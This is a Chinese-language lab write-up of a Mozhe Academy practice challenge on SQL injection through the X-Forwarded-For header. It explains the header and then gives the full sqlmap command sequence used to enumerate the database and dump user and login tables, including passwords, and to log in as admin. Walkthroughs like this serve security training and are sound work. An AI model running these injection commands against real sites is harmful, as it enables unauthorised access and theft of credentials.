墨者学院-X-Forwarded-For注入漏洞实战
墨者学院-X-Forwarded-For注入漏洞实战
前言:
刷题之前看到X--Forwarded-For,之前也了解过一点,又去百度了一下,原来X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP
请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP。
如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,Remote
Address来自 TCP 连接,表示与服务端建立 TCP 连接的设备 IP,在这个例子里就是 IP3。
Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求。不同语言获取 Remote Address 的方式不一样,例如 php 是 $_SERVER["REMOTE_ADDR"]。
靶场地址:https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
正文:
首先打开靶场环境,是一个POST提交登陆的界面
随便输入用户名和密码试试,结果js给我们弹出一串乱码
咱也看不懂,看到了中间的IP地址,怀疑是我们自己的IP地址,去ip138.com一看,果然是。
说明网站可能记录了我们的ip信息,与数据库交互,此时我怀疑这个就是数据库注入的点。
于是,我先用burp抓取了一个POST提交的数据包
这里没有X-Forwarded-For这一项,于是我将这个数据包复制到kali中,加入了X-Forwarded-For并把它设置为注入点
将文件保存为1.txt,用sqlmap尝试注入
sqlmap -r "/root/1.txt" --current-db --batch --threads 10
大功告成,获得了数据库名字为'webcalendar'.
接下来顺水推舟,一层层注入,获得表名,列名
sqlmap -r "/root/1.txt" -D webcalendar --tables --batch --threads 10
先注入user表尝试
sqlmap -r "/root/1.txt" -D webcalendar -T user --columns --batch --threads 10
sqlmap -r "/root/1.txt" -D webcalendar -T user -C id,username,password --dump --batch --threads 10
此时,发现一个admin的用户,我们尝试用他登陆后台,直接登陆成功,获得了key。
虽然题目做完了,但我还是很好奇,另一个logins表里面到底有些什么,于是我又注入了logins表
sqlmap -r "/root/1.txt" -D webcalendar -T logins --columns --batch --threads 10
sqlmap -r "/root/1.txt" -D webcalendar -T logins -C id,loginip,logintime,password,status,username --dump --batch --threads 10
最后,我发现logins这个表里面记录的正是网站通过浏览器获得的我们的隐私信息,包括登陆的ip地址,登陆的时间等等。
到此,这题终于算是完结了。
反思:
当我们在向网站发送请求的时候,网站也会记录我们的一些信息,可能是ip地址,使用的浏览器,这些都属于了个人隐私的范畴。我们请求的同时,隐私也被窃取,所以网络安全的意思才更为重要。
这里附上关于HTTP 请求头中的 X-Forwarded-For的链接,方便大家深入了解:https://imququ.com/post/x-forwarded-for-header-in-http.html